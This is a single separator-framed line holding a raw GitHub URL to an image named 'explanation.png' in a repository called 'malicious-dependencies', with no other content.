-------------------------------------------------------------------------------- https://raw.githubusercontent.com/jeremylong/malicious-dependencies/577a28e602d6c46f24eff103000ca9b71c52d724/explanation.png --------------------------------------------------------------------------------